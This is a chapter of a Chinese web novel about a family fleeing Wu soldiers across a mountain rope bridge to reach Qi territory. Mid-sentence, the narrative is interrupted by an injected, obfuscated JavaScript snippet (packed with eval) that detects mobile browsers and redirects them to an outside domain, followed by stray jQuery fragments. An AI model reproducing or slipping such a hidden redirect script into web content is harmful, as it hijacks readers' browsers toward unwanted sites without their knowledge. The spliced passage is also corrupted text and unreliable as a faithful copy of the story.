走了一整日山路,王倚步履愈发缓慢,伤口由于失血过多导致面色苍白,可后面追兵随时都有可能追上来,王群干脆背上妹妹继续赶路。
一行人渴了就喝溪水,饿了就啃树皮,遇到野果才驻足摘下满包裹,便是到了夜里也不敢停顿。
直到李峥李宝儿实在走不动,几人才歇息了半夜,次日一早就马不停歇继续赶路。
但山里树木繁多,早已遮挡住方向,饶是王群也不知近路在何方,只能凭借运气一直往东南方走。
直到午时,李峥险些在密林里踩中一片枯叶,幸而李宝儿眼疾手快将他拉住,山里这种陷阱她幼时见多了。
王群立即用木棍剥开枯叶,里头赫然是一个锯齿状捕兽夹。
野兽被夹住尚且难以脱身,常人更得血肉模糊。
李峥心有余悸退后几步,王群却面上一喜,有捕兽夹就说明附近有猎户,必定能为他们指明方向。
果不其然,几人原地等了半刻钟,一名身着麻衣的猎人背着弓箭出现,还以为捕兽夹抓住了人,神色颇有些慌张,可见几人虽然狼狈,但并未被捕兽夹抓住,当即也松口气。
“大哥,我们是从岐阳逃难来的,不慎在山里迷了方向,可否告诉我们如何才能翻过这座山,去绫山边境?”王群说着拿出一些碎银。
猎人身形中等,满脸络腮胡,见王群拖家带口确实像逃难,更是连忙摆手,“不远,从这边一直走,不出半日就能到绫山,你们可是要去齐国投奔亲戚?”
王群神色落寞,“是呀,现在世道不太平,岐阳最近一直在打仗,没有办法我们只能去齐国投奔远亲,不知道还没有更近的路?”
倘若能尽快到绫山最好,怕就怕吴军现在就在后面,随时都有可能追上来。
“这个……有倒是有。”
猎人看了看眼前几个老弱妇孺,不由皱皱眉,“沿西南方行一个时辰会有座吊桥,通过吊桥就是绫山,不过那吊桥年久失修,也不知稳当否。”
王群沉默了会,突然塞了一袋碎银给他,“大哥能否分我们一些水和食物,我们已经一天一夜未进米粮。”
猎人见他衣裳破旧,但料子却不错,想来之前也是大户人家,于是还是收了下来,随后便将随身携带的食物全都给几人。
他下山也才不到半日,不吃东西也不碍事,可这几人一看就是风餐露宿,怕是支撑不住。
王群连忙道谢,目光又落在他身后的弓箭上,“山中常有野兽出没,大哥能否将此物卖给我?”
说着,他又掏出一锭银子。
弓箭是猎户吃饭的家什,可见他出手阔绰,足以再卖一把好的弓箭回来,猎人也没有迟疑,顿时又把弓箭和箭矢全都给他。
“谢谢大哥,你也赶紧下山吧,万一遇到野兽袭击,没有家什防身怕是不妥。”王群叮嘱道。
遇到野兽只是其次,万一遇到吴军追兵泄露了他们行踪,届时才是不妙。
“不碍事,我远处棚子里还有家什,你们不若随我下山喝完热茶歇息半日,我看你这夫人面色不太好。”猎人热情的道。
王群摆摆手拒绝他的好意,随后就带着几人沿着西南方赶路,他们路上歇了不少时辰,可吴军未必会歇息,万一追了上来,莫说半日,便是一刻钟他也赌不起。
有了吃食,李峥拿着大饼一口下去顿时狼吞虎咽起来,直到一把弓箭递到眼前,他才不解的看向舅舅。
“你那弹弓伤不了人,今后遇到危险就用这个。”王群正声道。
李峥愣了愣,小心翼翼接过那把沉甸甸的弓箭,上面磨损很严重,还有不明褐色血迹,他记得幼时家里也有一把这样的弓箭挂在墙上,听说是父亲留下来的,可是后面村里遭了旱灾,母亲为了给他和阿姐买吃食,只能将父亲留下的弓拿去卖了碎银,这才勉强度过整月。
他握住弓身,扭头看向搀扶母亲的阿姐,忽然将大弓递过去,“阿姐箭术比我好,这个应该给阿姐。”
他记得以前家里的弓没有卖掉时,阿姐时常会带他去山脚下打野兔,听说是父亲教的,可惜他长大后再也没有看到过父亲。
对上少年清澈坚定的双眸,李宝儿目光同样坚毅,二话不说就接过大弓背在身上,拿起一个大饼咬了口。
爹爹不在,她就要保护好母亲和阿弟。
看着妹妹一家相互扶持,王群也露出欣慰的笑容,大王箭术超群,外甥女必定也不差。
可是一想到什么,他眼神逐渐变得复杂,仿佛不知道该不该开口。
好在猎户没有说错,沿西南方赶了一个时辰的路,远处果不其然出现一方山崖,崖的这头有一座吊桥,另一头连着另一方断崖,显然,那边就是绫山地界。
只要到了绫山,吴军便不敢追上来。
精疲力尽的几人仿佛看到了希望,王群则小心翼翼检查着吊桥绳索,磨损是严重了些,但只要动作轻些,一次只过一个人,想必应该没有什么问题。
山崖下深不见底,李峥看了一眼就不敢多看,手心也攥的极紧。
“我先过去。”
李宝儿率先来到吊桥,王群想说什么,可看了看妹妹和外甥,终究还是让外甥女去探路,他必须留着殿后。
吊桥非常晃,踩上去就和踩在棉花上一样,虚虚实实随时都有可能踏空,李宝儿不让自己看底下,唇瓣紧抿,双手紧抓着绳索,踩着木板一步又一步往对面走去。
她努力平稳着呼吸,哪怕手心已经冒出冷汗,直到左脚踩到地面,整个人顿时犹如劫后重生,随后赶紧往后招手。
看到女儿平安无事,王倚也松了口气,跟着就要第二个过去,王群担心她日夜兼程赶路体力不支,便让李峥跟在后面,如有意外也能搭把手。
他则留下来殿后。
吊桥很晃,木板更是破破烂烂,李峥的心从来没有跳的这么快,哪怕脸已经吓白,可他还是紧紧跟在母亲身后,就怕母亲没能及时抓住绳索。
李宝儿就站在崖边,等二人靠近,马上抓住母亲胳膊拉至崖边,三人都是大汗淋漓靠坐在地,一颗心几乎跳到了嗓子眼。
见二人顺利过去,王群终于露出了笑容,当即也紧随其后踏上吊桥。
可就在这时,林间飞鸟四处逃散,一队吴军追至崖边,看到对崖的几人,领头的将领顿时挥手。
霎那间,无数箭雨飞向对崖,李宝儿脸色一变,赶紧拉着母亲二人躲至大树身后。
“舅舅!”
李峥着急的看向还在桥中间的王群。
箭雨忽然改了方向,齐齐射向过桥的王群。
铺天盖地的箭雨密密麻麻落下,王群及时拔剑挥挡,可还是有一根射进肩头,他闷哼一声,只得用包裹护住脑袋,一手抓着绳索跌跌撞撞走向另一边。
“舅舅!”
李峥不顾箭雨跑过去崖边接应,吴军这时也陆陆续续试图过桥追捕。
王群刚伸手抓住他胳膊,腹部猛地又中了一箭,整个人突然扑倒在少年身上。
“舅舅!”李峥红着眼连忙拖着他往树后面躲。
“小心!”王倚心跳到了嗓子眼。
眼看吴军就要过桥,李宝儿躲在树
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219416|181434||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,解开大弓,从腰间拔出箭矢拉弓,目光灼灼盯着吊桥左边磨损严重的绳索,直到吴军过了一大半吊桥,她五指一松。
长箭如破空之势划过绳索,吊桥一端猛地断裂,桥上追兵尽数跌入崖底。
见状,正欲上桥的追兵赶紧停住脚步,随后拔箭射向对崖。
“该死!”领头的将领暗骂一声,死死的盯着对崖。
差一点,他就可以立下大功升官进爵。
“舅舅!”
李峥将王群拖至树后,看着他满身血迹,连忙就要去拔他腹部的箭。
王群拉住他胳膊,面无血色的摇头,“不要,先下山,再找大夫。”
“可是……”李峥急的双目通红。
李宝儿攥紧手心,她左右扫量一圈,突然拿走王群那把削铁如泥的剑,去砍附近的藤条。
仿佛知道她要做什么,李峥也立马过去帮忙,王倚则打开水壶,小心翼翼喂着王群喝水,看到他为了自己一家三口变成这样,她就忍不住眼眶的泪水。
不到半刻钟,李宝儿二人就绑好了一个简易担架,随即将王群抬至担架上,二人一个走在前头,以后走在后面,就这么抬着他下山。
不知走了多久,李宝儿只觉得视线模糊,胳膊和腿好似已经不是自己的,沉重如铁,可她还是掐着手心,强行让自己打起精神。
舅舅流了这么多血,一定要赶紧找大夫,自己不能倒下,舅舅为了救自己和母亲险些丧命,她一定不能让舅舅出事。
李峥同样咬牙强撑,直到前方山林传来一阵脚步,几人瞬间脸色大变。
不多时,林间走出一队边军,见山里出现几个老弱妇孺,当即警惕的走上前盘问,尤其当看到王群身上的箭伤,二话不说就将几人包围。
“你们是何人!老实交代!”
士兵立即擒住三人,李峥被按在地上双目赤红,没想到这里居然也有吴军,难不成他们真的要死了吗?
李宝儿暗中观察着几人衣领颜色,好似与吴军略有不同,舅舅说到了绫山就是齐国地界,难道这些人是齐军?
王群伸手摸向怀中,士兵们纷纷拔剑对准他,显然已经将他看成探子。
这段时日他们与吴军打了不少次,定是吴军的伤员没能及时归队,便留在了山里,这种事屡见不鲜。
王群躺在担架上,从怀里摸出一块令牌,递给领头的人,“我……我是大王的卫尉,带我……去见你们周将军。”
领头的人接过令牌,看了几眼,忽然脸色大变,当即跪倒在地,“小人还以为是是吴军探子,怠慢王卫尉了。”
说罢,赶紧让人把另外三人松开,又令人抬起担架,仿佛深怕他有个好歹。
没想到他们是齐国的边军,李峥蠕动着干涩的唇瓣,又抹了抹眼角泪渍,这样是不是说明他们很快就能看到父亲了?
李宝儿脚步虚浮跟在后面,手心的疼痛刺激着她的意识,她抬手看着掌心被藤条磨出的血痕,默默撕下一块布缠绕住手心。
只要舅舅还没有找到大夫,她就不能倒下。
“王卫尉,您怎么会受这么重的伤,可是吴军干的?还有这几个是?”领头的人扫过李峥几人。
他看这王卫尉年纪轻轻,应该生不出这么大的儿女。
王群闭着眼气若游丝,“家里几个远方亲眷。”
闻言,领头的人倒也没有多问,王卫尉是大王亲信,此行说不定是替大王办什么秘密差事。
只有李峥皱了皱眉,这些人不是齐国边军吗?舅舅为何不告诉这些人他们是大王的孩子?